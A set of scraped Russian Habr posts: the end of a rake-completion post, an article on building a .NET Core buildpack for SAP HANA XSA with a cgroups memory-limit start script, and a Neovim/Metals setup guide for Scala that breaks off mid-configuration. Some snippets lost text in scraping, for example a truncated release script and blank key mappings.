Кеш автоматически обновляется, при изменениях в `Rakefile` или каких-нибудь `*.rake` файлов в проекте.
Скрипт написан на sh. Должен работать и в zsh. В репозитории есть [тесты тоже на sh](http://github.com/ai/rake-completion/tree/master/test/) :). | https://habr.com/ru/post/76412/ | null | ru | null |
# Пробуем запустить приложения .Net Core в среде SAP Cloud Foundry и SAP HANA XSA
SAP сейчас активно развивает Cloud Foundry (CF) и внедрила ее в SAP Cloud Platform, в качестве основного элемента облачной инфраструктуры. CF выполняет роль PaaS и позволяет запускать приложения в среде SCP. В этой статье мы расскажем каким образом подготовить CF к выходу вашего проекта в продуктив (фаза «Go Live»), а также, как разворачивать приложения в среде Cloud Foundry SCP и HANA XSA. Мы рассмотрим примеры и расскажем, как разумно управлять вычислительными серверными ресурсами, обеспечивая контролируемую среду для работы приложений.
Разработчик может использовать практически любой IDE и язык программирования, включая языки Python, Java, JavaScript, Go. CF создает изолированную среду исполнения (runtime environment) приложений и таким образом управляет отказоустойчивостью и доступностью приложений. SAP активно развивает проект CF в составе HANA Platform, который получил название HANA XSA (XS Advanced Runtime). Разработчик может легко мигрировать приложения из среды HANA XSA в среду CF в SAP SCP.
Концепция разработки приложений для SAP SCP реализована в Cloud Application Programming Model (CAP) и доступна [на сайте](https://cap.cloud.sap/docs/). Приложения на базе SAP CAP легко можно перенести в среду CF.
CAP позволяет выполнять разработку приложений на локальном месте разработчика, включая пользовательский интерфейс и back-end сервисы на языках Java и JavaScript, используя БД SqlLite. Миграция готовых приложений в облако SAP SCP и HANA Cloud не требует дополнительных затрат, так как для работы с объектами в БД используется механизм CDS (Core Data Services), который позволяет абстрагироваться от конкретной СУБД.
В CF/XSA все приложения работают в операционной системе LINUX, поэтому любая среда исполнения программного кода должна иметь реализацию в ОС Linux. Все учебные примеры в данной статье мы рассмотрим на примере Microsoft .NET Core и покажем, как запустить .NET приложение в HANA XSA.
**Как успешно развернуть .Net приложение в среде CF / XSA?**
В первую очередь следует определить среду исполнения для приложения, которая реализована в виде пакета buildpack, проверить версию компилятора, необходимых системных библиотек, а также установить переменные среды окружения. Мы не будем останавливаться на анатомии CF/XSA, но если вам интересно, то предлагаем ознакомиться с материалами по [ссылке](https://developers.sap.com/tutorials/cp-cf-fundamentals.html).
На опыте реализованных проектов мы создавали собственные buildpack пакеты и разрабатывали свой процесс установки и запуска приложений.
Пакет buildpack содержит необходимую логику для проверки условий компиляции и выполнения приложения, позволяет зафиксировать версию используемого компилятора и системных библиотек, необходимых для работы приложения. В рамках HANA XSA сервера приложений поставляется ряд готовых buildpack’ов, которые поддерживаются SAP, а именно: nodejs (javascript), java. Кроме этого, используются пакеты из среды CF, которые также могут работать в среде HANA XSA, а именно:php, go, dotnet\_core, ruby.
Зачем создавать собственный buildpack?
· Требуется специфическая версия компилятора или среды исполнения,
· Требуется наличие определенных модулей, которые не доступны в стандартном buildpack,
· Требуется установка специальных системных библиотек, которые совместимы только с конкретной средой исполнения или компилятором определенной версии.
В любом случае для разработчика главное знать, что HANA XSA не ограничивает его в выборе компилятора и среды исполнения приложений и это важно, так как дает возможность переносить уже созданный и отлаженный код в HANA XSA без изменений.
Весь механизм установки приложений и запуска реализован в процессах execution agent и controller, которые работают на сервере XSA и управляются с рабочего места разработчика, используя инструмент cli из командной строки. Мы не будем останавливаться на деталях реализации архитектуры XSA/CF, все доступно в официальной документации на портале help.sap.com (SAP HANA Developer Guide for XS Advanced Model), вместо этого мы рассмотрим практические примеры.
Процесс разработки собственного buildpack описан в документации, и чтобы его собрать, нужно создать скрипты, реализованные на языке shell script в среде Linux, либо на языке go.
Чтобы создать свой buildpack на базе Microsoft .Net Core Runtime 3.1 для HANA XSA 2.0 SP4, необходимо выполнить следующие шаги:
**1.**Скачать и установить среду .NET Core Runtime 3.1. на сервере c установленным HANA XSA, либо на другом с аналогичной версией ОС Linux. В результате установки .NET Core Runtime будет создана директория. dotnet в домашней директории пользователя ОС Linux.
**2.**Создать архив в формате zip, gzip (любой формат на выбор пользователя), в который поместить содержимое директории. dotnet с установленной средой .NET Core Runtime.
**3.**Подготовить необходимые скрипты на языке shell script, а именно: compile, detect, release.
**4.**Создать архив в формате zip (только формат zip), в который поместить архив, созданный на этапе 2, а также скрипты, созданные на этапе 3.
**5.**Установить созданный buildpack с помощью команды xs create-buildpack (подробное *описание команды указано в документации на сайте help.sap.com->*SAP HANA Developer Guide for XS Advanced Model *в разделе* Create a PHP Buildpack for XS Advanced)
Разрабатывая кастомизированный buildpack, важно понимать логику его работы, которая хорошо изложена в документации Cloud Foundry по [ссылке](https://docs.cloudfoundry.org/buildpacks/understand-buildpacks.html#release-script). В данной статье основной упор делается на HANA XSA, где существуют незначительные отличия от среды CF, их мы рассмотрим на следующем примере.
Основная логика работы buildpack заложена в скриптах compile, detect, release, рассмотрим ниже пример реализации для среды исполнения .Net Core Runtime 3.1 на базе HANA XSA 2.0 SP4.
· Сompile скрипт в среде HANA XSA выполняет задачу сборки (build) приложения из исходных кодов и также выполняет проверку условий компиляции приложения, например наличие файла appsettings.json, требуемого framework, assembly и т.д.
```
Исходный код скрипта compile >>
#!/bin/bash
# bin/compile
BUILD\_DIR=$1
BIN\_DIR=`dirname $0`
BUILD\_PACK\_DIR=`dirname ${BIN\_DIR}`
echo "Extracting .NET runtime into..."
echo ${BUILD\_DIR}
cd ${BUILD\_DIR}
tar xzvf ${BIN\_DIR}/../runtime/runtime.tgz
echo "Extracting .NET runtime Done."
```
Важно отметить, что скрипт compile не используется в среде CF и был заменен на скрипты supply и finalize, однако для среды HANA XSA требуется использовать compile.
·Detect скрипт в среде HANA XSA выполняет задачу проверки совместимости конкретного buildpack для исполнения кода приложения.
```
#!/bin/bash
# bin/detect
if [ -f $1/appsettings.json ];
then exit 0
fi
exit 1
```
· Release скрипт в HANA XSA выполняет задачу подготовки к запуску приложения, генерирует файл в формате yaml, в котором указывается команда для запуска приложения.
```
Исходный код скрипта detect >>
#!/bin/bash
# bin/detect
if [ -f $1/appsettings.json ];
then exit 0
fi
exit 1
```
· Release скрипт в HANA XSA выполняет задачу подготовки к запуску приложения, генерирует файл в формате yaml, в котором указывается команда для запуска приложения.
```
Исходный код скрипта release >>
#!/bin/bash
# bin/release
cat <
```
Готовый buildpack для среды исполнения .Net Core Runtime 3.1. доступен для скачивания по [ссылке](https://github.com/wildseahorse/sapxsadotnetcore).
В итоге получается следующая структура директории, на базе которой создается архив zip, который, по сути, и является buildpack.
| | | |
| --- | --- | --- |
| .. | | |
| bin | bin\detect bin\compile bin\release | Управляющие скрипты buildpack |
| runtime | runtime\runtime.tgz | Среда исполнения .net core 3.1 runtime |
**Какую конфигурацию HANA XSA выбрать для продуктивной эксплуатации?**
Архитектура HANA XSA подразумевает установку фермы серверов и использование ролей XSA, чтобы эффективно управлять нагрузкой и обеспечить безопасную среду исполнения приложений.
В режиме продуктивной эксплуатации HANA XSA предлагает защищенный вариант Multi-Host, в рамках которого СУБД HANA и сервер HANA XSA размещаются на физически разных серверах (см. Рис.).
Конфигурация HANA XSA Multi-HostРежим HANA XSA Multi-Host позволяет обеспечить экономию памяти продуктивного сервера СУБД HANA, обеспечив запуск приложений на выделенном сервере и при желании снизить требования к оборудованию для запуска HANA XSA.
Режим Multi-Host подразумевает наличие ролей XS\_WORKER и XS\_STANDBY, которые позволяют создать режим Auto-Failover для запуска приложений в HANA XSA в случае сбоя серверного оборудования.
Мы не будем рассматривать подробности установки HANA XSA в режиме Multi-Host, вместо этого мы разберем пример запуска приложений в режиме контроля используемых ресурсов памяти.
**Как защитить приложения в среде HANA XSA от утечек памяти?**
Помимо HANA XSA Multi-Host, рекомендую ознакомиться с вариантами, которые позволяют контролировать использование ресурсов памяти. Как правило среда исполнения приложений должна иметь необходимые параметры для ограничения используемых ресурсов памяти. Но что делать, если таких параметров не предусмотрено?
Очень важно понимать и использовать механизмы ОС Linux, которые давно предлагают простые и доступные инструменты – Linux Control Groups (Cgroups). Мы не будет останавливаться на деталях реализации механизма Cgroups, но отметим, что этот механизм реализован достаточно давно в ядре Linux и позволяет на уровне процессов ОС задавать ограничения используемых ресурсов памяти в байтах. Таким образом, указывается лимит памяти, которую может запросить процесс у операционной системы. И однозначно запрещается выделение дополнительной памяти, которая может произойти из-за утечек памяти, сбоев, ошибок и привести к остановке других приложений.
Особенно важно использовать механизм Linux Cgroups, когда выполняется запуск проекта на стадии Go Live, обеспечив тем самым защиту от возможных ошибок в коде и повысив надежность HANA XSA.
Пример реализации механизма Linux Cgroups указан ниже в виде shell script, который выполняет запуск приложения для buildpack созданного выше на базе среды исполнения .Net Core Runtime 3.1.
```
Исходный код скрипта start.sh >>
#!/bin/bash
if [ -z "$CGNAME" ]
then
echo "[ERR]Please check CGNAME to place cgroup name limits."
exit 1
else
echo "[OK] CGNAME is set to '$CGNAME'"
fi
if [ -z "$MemoryLimitInMB" ]
then
echo "[ERR] Please check memory limit settings."
exit 1
else
echo "[OK] MemoryLimitInMB is set to '$MemoryLimitInMB'."
fi
if [[ ! $(sudo echo 0) ]]; then echo "[ERR] sudo rights for user '$USER' needed.";exit 1; else echo "[OK] sudo rights for user '$USER' exist"; fi
create_cgroup_for_space(){
if [[ $(sudo mkdir /sys/fs/cgroup/memory/$CGNAME) ]]; then echo "[ERR] can not create cgroup with name '$CGNAME'."; exit 1; else echo "[OK] cgroup '$CGNAME' successfully created."; fi
}
if [[ ! $(sudo ls /sys/fs/cgroup/memory/$CGNAME 2>/dev/null) ]]
then
echo "[WRN] cgroup '$CGNAME' is not set."
create_cgroup_for_space
else
echo "[OK] cgroup '$CGNAME' is set."
fi
if [[ $(sudo sh -c "echo $MemoryLimitInMB > /sys/fs/cgroup/memory/$CGNAME/memory.limit_in_bytes") ]]
then
echo "[ERR] Can not set memory limit for app."
exit 1
else
echo "[OK] Successfully set memory limit to '$MemoryLimitInMB'."
fi
ATTACH=`awk '/^__MS_DOT_NET_RUN__/ {print NR + 1; exit 0; }' $0`
tail -n+$ATTACH $0 > ./run.sh
_PID=`echo $$`
if [[ ! $(sudo sh -c "echo $_PID > /sys/fs/cgroup/memory/$CGNAME/tasks") ]]
then
chmod +x ./run.sh && /bin/bash ./run.sh
else
echo "[ERR] Unable to start app"
exit 1
fi
exit 0
__MS_DOT_NET_RUN__
#!/bin/bash
trap "exit" INT TERM ERR
trap "kill 0" EXIT
export ASPNETCORE_URLS="http://localhost:$VCAP_APP_PORT"
echo "ASPNETCORE_URLS: '$ASPNETCORE_URLS'";
# Getting runnable dll.
runtimeconfigs=($(ls *.runtimeconfig.json));
if [ ${#runtimeconfigs[@]} -gt 1 ] ;
then
echo "Error! Found '${#runtimeconfigs[@]}' *.runtimeconfig.json files! Expecting only one. Files: '${runtimeconfigs[@]}'.'" 1>&2;
exit 1;
fi;
if [[ ${#runtimeconfigs[@]} -eq 0 ]] ;
then
echo "Error! Can't find *.runtimeconfig.json file!" 1>&2;
exit 1;
fi;
exeFile=$(echo "${runtimeconfigs[0]//.runtimeconfig.json/}")
if [ -f $exeFile ]
then
echo "starting '$exeFile'...";
exec "./$exeFile" --urls $ASPNETCORE_URLS;
exit;
fi
dllFile=$(echo "${runtimeconfigs[0]//.runtimeconfig.json/.dll}")
if [[ !(-e $dllFile) ]] ;
then
echo "File '$dllFile' is not found." 1>&2;
exit 1;
fi
exec ./dotnet $dllFile --urls $ASPNETCORE_URLS;
```
В этой статье мы рассмотрели пример и предложили рекомендации о том, как запускать приложения в HANA XSA для продуктивной эксплуатации и обеспечить защиту от возможных сбоев, используя встроенные механизмы ОС Linux и HANA XSA. Все примеры были разработаны и использованы на опыте реальных проектов в Лаборатории Совместных Инноваций компании SAP (SAP Co-Innovation Lab). Если у вас будут вопросы или предложения, пишите в комментариях.
*Автор -* Василий *Суханов, архитектор Лаборатории Совместных Инноваций SAP Labs CIS* | https://habr.com/ru/post/535530/ | null | ru | null |
# Что может предложить Neovim разработчику на Scala?
В сообществе фанатов текстового редактора Neovim произошло знаменательное событие — [вышла версия 0.5](https://habr.com/ru/post/569550/), в которой появилось большое количество нововведений:
* встроенная поддержка языка Lua;
* экспериментальная поддержка treesitter;
* и, наконец, встроенный LSP клиент, позволяющий сделать из простого текстового редактора достойного соперника IDE!
Neovim — это модальный редактор, форк редактора Vim, который ставит своей целью улучшение пользовательского опыта при работе с Vim: «Neovim is built for users who want the good parts of Vim, and more».
Мне нравится Neovim своей гибкостью, благодаря которой его можно превратить в очень мощный инструмент редактирования не только текста, но и кода. Как scala-разработчику мне интересно испытать новый встроенный LSP клиент в применении к любимому языку программирования. В отличие от VSCode и даже Vim + CoC настройка LSP клиента в Neovim несколько более сложная, но при этом крайне гибкая. Данная статья — краткое руководство по настройке Neovim для работы со Scala и краткий обзор возможностей, которые дает связка Neovim + Metals.
**Исходный код проекта, использованного в анимациях**
file: `src/main/scala/example/Animals.scala`
```
package example
trait Animals {
def say(): String
}
case object Cat extends Animals {
def say(): String = "meow"
}
case object Dog extends Animals {
def say(): String = "woof"
}
```
file: `src/test/scala/example/AnimalsTest.scala`
```
package example
class AnimalsTest extends org.scalatest.funsuite.AnyFunSuite {
test("what does a cat say?") {
assert(Cat.say() == "meow")
}
test("what does a dog say?") {
assert(Dog.say() == "woof")
}
}
```
Тема редактора в анимациях: [onehalf](https://github.com/sonph/onehalf).
Что такое LSP?
--------------
Прежде всего, давайте разберемся с тем, что такое LSP и почему появление встроенного его клиента столь примечательно для Neovim. LSP, или Language Server Protocol, создан Microsoft для унификации опыта разработки в совершенно разных редакторах. Это мост между языками программирования и редакторами текста. Он позволяет выполнять над кодом операции, за которые мы так любим среды разработки:
* go-to-definition;
* find-references;
* hover;
* completion;
* rename;
* format;
* refactor.
и всё это в любимом вами редакторе!
LSP подразумевает наличие двух компонентов: сервера, который реализует протокол для конкретного языка, и клиента, который умеет коммуницировать с сервером и выполнять необходимые действия внутри текстового редактора. Таким образом, LSP решает проблему, связанную с добавлением поддержки новых языков программирования в огромное количество редакторов кода. Вместо того, чтобы снова и снова, в редакторе за редактором тратить время и силы на поддержку очередного языка, теперь достаточно реализовать клиент к LSP в редакторе и сервер LSP для нового языка программирования!
Подготавливаем окружение
------------------------
Реализация серверной части LSP для Scala называется Metals. Metals реализует протокол, но конкретные задачи, такие как форматирование, рефакторинг или компиляция, он делегирует другим инструментам. Например, Metals не занимается сборкой или запуском проектов, эти задачи делегируются другому серверу, реализующему BSP (Build Server Protocol). В качестве BSP сервера может выступать `bloop` и, начиная с версии 1.4, `sbt`. Оба инструмента используют компилятор `scalac` для компилирования scala-файлов в байт код JVM, и/или `scalajs` для компилирования в JavaScript.
Для полноценной работы Metals нам необходимо установить:
* `JVM` — для запуска необходимых инструментов и scala-кода;
* `scalac` — для компилирования scala-файлов;
* `bloop` — для управления сборкой и запуском scala-проектов;
* `sbt` (или любую другую систему сборки, способную сгенерировать конфигурацию для bloop) — для управления зависимостями и генерирования конфигурации для bloop;
* `scalafmt` — для форматирования кода;
* `scalafix` — для оптимизации импорта и прочего рефакторинга;
* `metals` — как реализацию сервера LSP для навигации по коду, рефакторинга, отладки и проч.;
* `neovim` — как реализацию клиента LSP для редактирования кода.
Список зависимостей достаточно велик, но, к счастью, для управления зависимостями в Scala существует крайне удобный инструмент: coursier. Он не только берет на себя задачу управления библиотеками, но и способен упростить процесс установки всех необходимых для работы со scala-инструментов:
> coursier is a dependency resolver / fetcher à la Maven / Ivy, entirely rewritten from scratch in Scala. It aims at being fast and easy to embed in other contexts. Its core embraces functional programming principles.
Coursier может быть установлен с помощью скрипта:
```
# скачиваем скрипт
$ curl -fLo cs https://git.io/coursier-cli-"$(uname | tr LD ld)"
# делаем скрипт исполняемым
$ chmod +x cs
```
Полученный скрипт позволяет установить нужные нам инструменты командой `./cs install`. И первое, что нам стоит установить, — непосредственно сам coursier:
```
# устанавливаем coursier через coursier
$ ./cs install cs
# удаляем скачанный скрипт
$ rm ./cs
```
Прочие варианты установки coursier описаны на сайте проекта.
Хорошая новость заключается в том, что coursier может помочь с установкой всех необходимых нам зависимостей связанных со Scala. Отличная новость заключается в том, что большинство необходимых инструментов можно установить всего одной командой!
```
$ cs setup --yes
```
В результате coursier услужливо установит для нас:
* `ammonite`;
* `coursier`;
* `scala`;
* `scalac`;
* `sbt`;
* `sbtn`;
* `scalafmt`.
Почти полный набор. Остаётся установить bloop и scalafix:
```
$ cs install scalafix bloop
```
И, наконец, Neovim и Metals.
Устанавливаем и настраиваем Neovim
----------------------------------
Процесс установки Neovim зависит от вашей системы и подробно описан здесь: [Installing-Neovim](https://github.com/neovim/neovim/wiki/Installing-Neovim).
Несмотря на появление поддержки Lua, авторы уверяют, что не собираются отказываться от VimL. Тем не менее в статье я буду описывать процесс настройки редактора именно с помощью Lua. Есть отличное руководство, помогающее начать использовать Lua в Neovim: [Getting started using Lua in Neovim](https://github.com/nanotee/nvim-lua-guide). Доступен перевод на русский: [Начало работы с Lua в Neovim](https://github.com/kuator/nvim-lua-guide-ru) .
Конфигурация на Lua описывается в файле `~/.config/nvim/init.lua`:
```
# Если после запуска nvim, в подвале его окна будет напечатано Hello World!
# значит всё установлено корректно и можно приступать к настройке nvim
$ mkdir -p ~/.config/nvim/ && echo 'print("Hello world!")' >> ~/.config/nvim/init.lua
```
Начнем с установки менеджера плагинов [Packer](https://github.com/wbthomason/packer.nvim) и настройки нескольких глобальных опций:
```
git clone https://github.com/wbthomason/packer.nvim\
~/.local/share/nvim/site/pack/packer/start/packer.nvim
```
```
----------------------------------
-- file: ~/.config/nvim/init.lua
----------------------------------
-- включаем работу с мышью
vim.opt_global.mouse = 'a'
-- включаем подсветку синтаксиса
vim.opt_global.syntax = 'on'
-- делаем цветовую палитру богаче
-- (работает не для всех терминалов, если
-- будут проблемы с отображением цвета, удалите
-- эту опцию)
vim.opt_global.termguicolors = true
-- используем 2 пробела вместо табуляции
vim.opt_global.tabstop = 2
vim.opt_global.softtabstop = 2
vim.opt_global.shiftwidth = 2
-- включаем менеджмент плагинами
vim.cmd('packadd packer.nvim')
require('packer').startup(function(use)
-- будем использовать packer, чтобы обновлять packer
use { 'wbthomason/packer.nvim', opt = true }
-- новые плагины добавлять сюда:
-- ...
end)
```
После добавления очередных плагинов в список необходимо их установить командой `:PackerInstall`.
Устанавливаем Metals
--------------------
Рекомендованным клиентом к LSP для Scala всё ещё остается плагин к [CoC](https://github.com/scalameta/coc-metals) во многом благодаря простоте настройки и проверке временем. Но сегодня мы рассмотрим процесс настройки Metals для нового, встроенного LSP клиента. У двух проектов существенно отличается взгляд на конфигурацию. Если CoC предоставляет практически законченное решение с автодополнением и прочими приятными возможностями, то LSP клиент в Neovim — это прежде всего api. Поэтому настройка встроенного LSP клиента может показаться сложнее, но в конечном счете это позволяет достичь более выдающихся результатов. Если интересно узнать о разнице в функциональных возможностях плагинов более подробно, советую посмотреть запись:
Вообще для конфигурации нового LSP клиента в neovim предлагается использовать [nvim-lspconfig](https://github.com/neovim/nvim-lspconfig), но в случае co Scala предпочтительнее воспользоваться специальным плагином [nvim-metals](https://github.com/scalameta/nvim-metals), так как этот плагин содержит огромное количество преднастроек. Пример минимальной конфигурации для работы с Metals (не забывайте выполнить `:PackerInstall` для установки `nvim-metals`):
```
----------------------------------
-- file: ~/.config/nvim/init.lua
----------------------------------
require('packer').startup(function(use)
-- ...
-- устанавливаем metals
use { 'scalameta/nvim-metals' }
end)
-- рекомендованная настройка, см README плагина
vim.opt_global.shortmess:remove("F"):append("c")
-- metals_config - таблица с конфигурацией nvim-metals
-- будем заполнять её постепенно и осмысленно
metals_config = require('metals').bare_config
-- при редактировании .scala или .sbt будем запускать/подключаться к metals
vim.cmd('augroup scalametals')
vim.cmd('autocmd!')
vim.cmd('autocmd FileType scala,sbt lua require("metals").initialize_or_attach(metals_config)')
vim.cmd('augroup end')
```
Несмотря на то, что с такой конфигурацией работать с metals уже возможно, делать это будет крайне неудобно из-за отсутствия горячих клавиш. Переопределение клавиш на Lua выглядит довольно громоздко, поэтому разумно написать пару вспомогательных функций:
```
-- mode - режим, для которого определяется комбинация: "n", "i", "v"...
-- keys - строка с комбинацией клавиш: "qq"
-- action - действие, выполняемое по нажатию комбинации keys: "q"
-- opts - таблица с дополнительными опциями, на пример: { expr = true }
-- bufnr - идентификатор буфера. Если указан, клавиши будут назначены
-- локально для этого буфера
local function map(mode, keys, action, opts, bufnr)
local options = { noremap = true }
if opts then
options = vim.tbl\_extend("force", options, opts)
end
if bufnr then
vim.api.nvim\_buf\_set\_keymap(bufnr, mode, keys, action, options)
else
vim.api.nvim\_set\_keymap(mode, keys, action, options)
end
end
-- аналог nnoremap
local function nmap(keys, action, opts)
map('n', keys, action, opts)
end
-- аналог inoremap
local function imap(keys, action, opts)
map('i', keys, action, opts)
end
```
Непосредственно комбинации клавиш — вопрос вкуса, ниже представлен пример моей конфигурации:
```
-- переход к месту определения символа под курсором:
nmap("gd", "lua vim.lsp.buf.definition()")
-- поиск мест реализации символа под курсором:
nmap("gi", "lua vim.lsp.buf.implementation()")
-- поиск мест, где используется символ под курсором:
nmap("gr", "lua vim.lsp.buf.references()")
-- показать описание символа под курсором:
nmap("K", "lua vim.lsp.buf.hover()")
-- показать сигнатуру метода:
nmap("", "lua vim.lsp.buf.signature\_help()")
imap("", "lua vim.lsp.buf.signature\_help()")
-- отформатировать текущий буфер:
nmap("f", "lua vim.lsp.buf.formatting()")
-- переименовать текущий символ под курсором:
nmap("rn", "lua vim.lsp.buf.rename()")
-- показать все возможные действия в текущем контексте
-- (добавить необходимый импорт, реализовать недостающие методы и тд):
nmap("ca", "lua vim.lsp.buf.code\_action()")
-- перейти к месту с ошибкой перед курсором:
nmap("[c", "lua vim.lsp.diagnostic.goto\_prev { wrap = false }")
-- перейти к месту с ошибкой после курсора:
nmap("]c", "lua vim.lsp.diagnostic.goto\_next { wrap = false }")
-- использовать LSP в качестве источника подсказок (комбинация по умолчанию ):
vim.cmd('set omnifunc=v:lua.vim.lsp.omnifunc')
```
Есть два подхода к конфигурированию горячих клавиш. Первый — глобальное конфигурирование, когда клавишам назначаются команды вне зависимости от того, запущен LSP клиент или нет. Лично я пока предпочитаю этот подход, так как он позволяет быстрее диагностировать ситуации, когда случаются проблемы со стартом клиента. Второй подход подразумевает назначение горячих клавиш в обработчике запуска клиента. Такой подход используются в примерах `nvim-lspconfig`. В `nvim-metals` его можно повторить, если определить маппинг в функции `on_attach` в таблице конфигурации `metals_config`:
```
metals_config.on_attach = function(client, bufnr)
-- используем LSP для подсказок автодополнения
vim.api.nvim_buf_set_option(bufnr, 'omnifunc', 'v:lua.vim.lsp.omnifunc')
-- назначаем клавиши локально для буфера bufnr
local function nmap(keys, action, opts)
map('n', keys, action, opts, bufnr)
end
local function imap(keys, action, opts)
map('i', keys, action, opts, bufnr)
end
nmap("gd", "lua vim.lsp.buf.definition()")
nmap("gi", "lua vim.lsp.buf.implementation()")
...
end
```
Обратите внимание на то, что при таком подходе комбинации клавиш назначаются **локально** для буфера. Идентификатор буфера `bufnr`, для которого происходит назначение, передается в обработчик `on_attach` плагином Metals.
**Пример минимальной конфигурации для работы с metals**
```
local function map(mode, keys, action, opts, bufnr)
local options = { noremap = true }
if opts then
options = vim.tbl_extend("force", options, opts)
end
if bufnr then
vim.api.nvim_buf_set_keymap(bufnr, mode, keys, action, options)
else
vim.api.nvim_set_keymap(mode, keys, action, options)
end
end
local function nmap(keys, action, opts)
map('n', keys, action, opts)
end
local function imap(keys, action, opts)
map('i', keys, action, opts)
end
vim.opt_global.mouse = 'a'
vim.opt_global.syntax = 'on'
vim.opt_global.tabstop = 2
vim.opt_global.softtabstop = 2
vim.opt_global.shiftwidth = 2
vim.opt_global.shortmess:remove("F"):append("c")
vim.cmd('packadd packer.nvim')
require('packer').startup(function(use)
use { 'wbthomason/packer.nvim', opt = true }
use { 'scalameta/nvim-metals' }
end)
vim.cmd('augroup scalametals')
vim.cmd('autocmd!')
vim.cmd('autocmd FileType scala,sbt lua require("metals").initialize_or_attach({})')
vim.cmd('augroup end')
vim.cmd('set omnifunc=v:lua.vim.lsp.omnifunc')
nmap("gd", "lua vim.lsp.buf.definition()")
nmap("gi", "lua vim.lsp.buf.implementation()")
nmap("gr", "lua vim.lsp.buf.references()")
nmap("K", "lua vim.lsp.buf.hover()")
nmap("", "lua vim.lsp.buf.signature\_help()")
imap("", "lua vim.lsp.buf.signature\_help()")
nmap("f", "lua vim.lsp.buf.formatting()")
nmap("rn", "lua vim.lsp.buf.rename()")
nmap("ca", "lua vim.lsp.buf.code\_action()")
nmap("[c", "lua vim.lsp.diagnostic.goto\_prev { wrap = false }")
nmap("]c", "lua vim.lsp.diagnostic.goto\_next { wrap = false }")
```
Собираем обратную связь
-----------------------
В отличие от IDE Neovim и Metals это не монолитное приложение, а целый ворох независимых компонентов, каждый из которых имеет свои нюансы, а иногда и откровенно проблемы. На практике это может выражаться как неработающая функциональность, и зачастую бывает сложно понять, что именно пошло не так. Чтобы упростить себе жизнь стоит разобраться, какие ключевые компоненты могут нас подвести и как следить за их состоянием.
Если функциональность Metals не работает, начинать диагностику стоит с проверки состояния LSP клиента в Neovim. Если у вас установлен плагин `nvim-lspconfig` (для Metals он не нужен, но для других языков полезен, как минимум удобно иметь настроенный LSP для Lua), то сделать это можно командой: `:LspInfo`, для сбора более подробной информации можно включить логи: `lua vim.lsp.set_log_level("debug")`.
| |
| --- |
Следующим шагом диагностики, не требующим дополнительных плагинов, является запуск `:MetalsRunDoctor` — встроенной утилиты для диагностики Metals:
| |
| --- |
Metals может слать сообщения о ходе текущих операций, которые можно отображать в строке состояния. Для этого надо сделать две вещи: включить отправку сообщений в конфигурации Metals и настроить строку состояния для их отображения. Справиться с первой задачей нам поможет таблица настроек `metals_config`, которую мы передаем при запуске Metals:
```
metals_config.init_options.statusBarProvider = "on"
```
Настройка строки состояния зависит от используемых для её отображения плагинов. Здесь в качестве примера я покажу, как можно настроить стоковую строку вообще без плагинов:
```
function InitStatusline()
local background_color = '%#CursorColumn#'
local current_file = '%t'
local metals_status = '%{metals#status()}'
local separator = '%='
return background_color .. current_file .. separator .. metals_status
end
vim.opt_global.statusline = InitStatusline()
```
| |
| --- |
И, наконец, самый эффективный способ диагностики состояния Metals — чтение лог файла `.metals/metals.log`. Для нашего удобства `nvim-metals` позволяет открыть логи не покидая текстового редактора командой `:MetalsToggleLogs`. Эта команда буквально запускает `tail` во встроенном терминале nvim:
| |
| --- |
*Но лично я предпочитаю держать отдельный терминал с запущенной `tail -f .metals/metals.log`.*
Клиент или сервер LSP не единственные звенья, нарушающие работу всей цепочки компонентов. BSP сервера подводят не реже. В частности, в случае с bloop, иногда бывает полезным запустить компиляцию проекта в отдельном терминале напрямую и посмотреть на результат. Не часто, но случается, что bloop зависает, и его приходится перезапускать: `bloop exit`.
nvim-metals — больше чем конфигурация LSP клиента!
--------------------------------------------------
Пришло время рассказать, почему рекомендуется конфигурировать Metals именно с помощью `nvim-metals`.
### Tree View Protocol
Начнем с того, что Metals поддерживает Tree View Protocol — расширение протокола LSP, позволяющее строить дерево проекта. И `nvim-metals` реализует частичную поддержку этого протокола. В нашем распоряжении две функции:
* `toggle_tree_view()` — для отображение и/или скрытия дерева проекта,
* `reveal_in_tree()` — для отображения текущего элемента в дереве проекта
| |
| --- |
Как правило, мне достаточно только второй функции:
```
nmap("tr", 'lua require("metals.tvp").reveal\_in\_tree()')
```
Подробнее о конфигурировании этого расширения можно почитать в документации: `:help metals-tvp-module`.
### Debug Adapter Protocol
Еще одна важная функциональность, доступная в `nvim-metals`, — поддержка протокола DAP, который позволяет запускать и отлаживать приложения и тесты прямо в Neovim!
| |
| --- |
Пример конфигурации DAP:
```
----------------------------------
-- file: ~/.config/nvim/init.lua
----------------------------------
require('packer').startup(function(use)
...
-- устанавливаем плагин для отладки:
use { 'mfussenegger/nvim-dap' }
end)
-- создаем конфигурации запуска приложения и тестов:
require("dap").configurations.scala = {
{
type = "scala",
request = "launch",
name = "Run",
metals = {
runType = "run",
},
},
{
type = "scala",
request = "launch",
name = "Test File",
metals = {
runType = "testFile",
},
},
}
-- запуск/продолжение исполнения приложения:
nmap("dc", "lua require('dap').continue()")
-- скрыть/отобразить окно с выводом отладчика:
nmap("dr", "lua require('dap').repl.toggle()")
-- показать значения переменных в текущем контексте:
nmap("ds", "lua require('dap.ui.variables').scopes()")
-- установить/снять точку остановки:
nmap("dt", "lua require('dap').toggle\_breakpoint()")
-- выполнить шаг без захода в функцию:
nmap("do", "lua require('dap').step\_over()")
-- выполнить шаг с заходом в функцию:
nmap("di", "lua require('dap').step\_into()")
-- выйти из функции:
nmap('du', "lua require('dap').step\_out()")
-- прервать исполнение:
nmap('dst', "lua require('dap').stop()")
```
### Прочие полезные возможности и команды Metals
Одной статьи не хватит, чтобы охватить всю функциональность Metals, поэтому здесь я упомяну лишь несколько наиболее интересных, на мой взгляд команд и возможностей:
* Поддержка Ammonite скриптов `:MetalsAmmoniteStart`, `:MetalsAmmoniteStop`;
* Анализ стектрейса `:MetalsAnalyzeStacktrace`;
* Создание нового scala-файла `:MetalsNewScalaFile`;
* Создание нового scala-проекта с помощью [g8](http://www.foundweekends.org/giter8/) `:MetalsNewScalaProject`;
Более подробно о доступных командах можно почитать в документации: `:help metals-commands`.
Делаем ~~мир~~ UI лучше
-----------------------
В начале статьи я упоминал, что одно из преимуществ встроенного LSP клиента заключается в его гибкости в плане конфигурирования. Сейчас я покажу это на примерах.
### Compe
Начнем с того, что вызвать автодополнение по `Ctrl+X Ctrl+O`, мягко говоря, не очень удобно. Чтобы улучшить опыт работы с автодополнением для nvim уже написано несколько плагинов, наиболее популярным из которых является [nvim-compe](https://github.com/hrsh7th/nvim-compe):
```
----------------------------------
-- file: ~/.config/nvim/init.lua
